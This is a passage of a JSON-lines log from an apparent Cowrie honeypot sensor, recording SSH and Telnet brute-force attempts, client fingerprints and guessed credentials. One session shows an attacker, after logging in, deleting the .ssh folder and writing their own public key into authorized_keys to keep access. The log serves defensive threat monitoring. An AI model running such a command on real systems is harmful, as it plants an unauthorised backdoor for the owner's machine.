{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:04.734243Z","src_ip":"148.216.28.11","session":"494c0899346c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123","message":"login attempt [gitlab-runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:05.043811Z","src_ip":"148.216.28.11","session":"494c0899346c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:06.116752Z","src_ip":"148.216.28.11","session":"494c0899346c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50154,"dst_ip":"159.203.135.109","dst_port":23,"session":"a19d9e77db04","protocol":"telnet","message":"New connection: 134.209.8.29:50154 (159.203.135.109:23) [session: a19d9e77db04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:12.795942Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50156,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ad8394d5ea4","protocol":"telnet","message":"New connection: 134.209.8.29:50156 (159.203.135.109:23) [session: 5ad8394d5ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:15.868446Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":58588,"dst_ip":"10.17.0.5","dst_port":22,"session":"82565bc489a2","protocol":"ssh","message":"New connection: 150.95.157.171:58588 (10.17.0.5:22) [session: 82565bc489a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:17.181434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:17.192891Z","src_ip":"150.95.157.171","session":"82565bc489a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:17.346778Z","src_ip":"150.95.157.171","session":"82565bc489a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server1","message":"login attempt [ts3server/ts3server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:17.978052Z","src_ip":"150.95.157.171","session":"82565bc489a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.64696955680847,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:19.011700Z","src_ip":"134.209.8.29","session":"c7d8ace8f2c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50158,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef62cbd62fe4","protocol":"telnet","message":"New connection: 134.209.8.29:50158 (159.203.135.109:23) [session: ef62cbd62fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:19.035753Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:19.139328Z","src_ip":"150.95.157.171","session":"82565bc489a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50172,"dst_ip":"159.203.135.109","dst_port":23,"session":"93efa1b936ee","protocol":"telnet","message":"New connection: 134.209.8.29:50172 (159.203.135.109:23) [session: 93efa1b936ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:20.961600Z"}
{"eventid":"cowrie.session.closed","duration":40.19854378700256,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:22.731113Z","src_ip":"134.209.8.29","session":"396d33f4b575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":43918,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c86bd19cb8","protocol":"ssh","message":"New connection: 187.141.71.166:43918 (159.203.135.109:22) [session: 28c86bd19cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:23.191762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:23.196881Z","src_ip":"187.141.71.166","session":"28c86bd19cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:23.320660Z","src_ip":"187.141.71.166","session":"28c86bd19cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zxcvbnm,./","message":"login attempt [ubuntu/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:23.843511Z","src_ip":"187.141.71.166","session":"28c86bd19cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:24.969498Z","src_ip":"187.141.71.166","session":"28c86bd19cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36906,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff6e79ef840","protocol":"telnet","message":"New connection: 134.209.8.29:36906 (159.203.135.109:23) [session: 2ff6e79ef840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:25.638550Z"}
{"eventid":"cowrie.session.closed","duration":51.16579556465149,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:26.394927Z","src_ip":"134.209.8.29","session":"8df8697759a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.38457536697388,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:35.027896Z","src_ip":"134.209.8.29","session":"cc800929d6c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.38.24","src_port":3670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a417fa145e","protocol":"telnet","message":"New connection: 196.188.38.24:3670 (10.17.0.5:23) [session: b8a417fa145e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:38.850947Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b95d433f2b9","protocol":"telnet","message":"New connection: 134.209.8.29:59980 (159.203.135.109:23) [session: 5b95d433f2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:39.020930Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":43098,"dst_ip":"10.17.0.5","dst_port":22,"session":"096dd0ee5fe9","protocol":"ssh","message":"New connection: 147.50.231.135:43098 (10.17.0.5:22) [session: 096dd0ee5fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:39.616833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:39.621574Z","src_ip":"147.50.231.135","session":"096dd0ee5fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:39.884301Z","src_ip":"147.50.231.135","session":"096dd0ee5fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00088858604431,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:40.508725Z","src_ip":"134.209.8.29","session":"78935ce4a48b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"test","message":"login attempt [vagrant/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:40.964482Z","src_ip":"147.50.231.135","session":"096dd0ee5fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:42.229855Z","src_ip":"147.50.231.135","session":"096dd0ee5fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35688,"dst_ip":"159.203.135.109","dst_port":23,"session":"98429bbc0651","protocol":"telnet","message":"New connection: 134.209.8.29:35688 (159.203.135.109:23) [session: 98429bbc0651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:42.377516Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":35290,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b2d6a9784cb","protocol":"ssh","message":"New connection: 148.216.28.11:35290 (10.17.0.5:22) [session: 1b2d6a9784cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.336450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.341075Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.408491Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"321","message":"login attempt [steam/321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.709778Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.881984Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.885362Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.889696Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:51.961128Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.129340Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.131703Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.301605224609375,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.152450Z","src_ip":"196.188.38.24","session":"b8a417fa145e","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.201079Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.204496Z","src_ip":"148.216.28.11","session":"1b2d6a9784cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":35298,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1360be4cca0","protocol":"ssh","message":"New connection: 148.216.28.11:35298 (10.17.0.5:22) [session: f1360be4cca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.263816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:06:52.268584Z","src_ip":"148.216.28.11","session":"f1360be4cca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-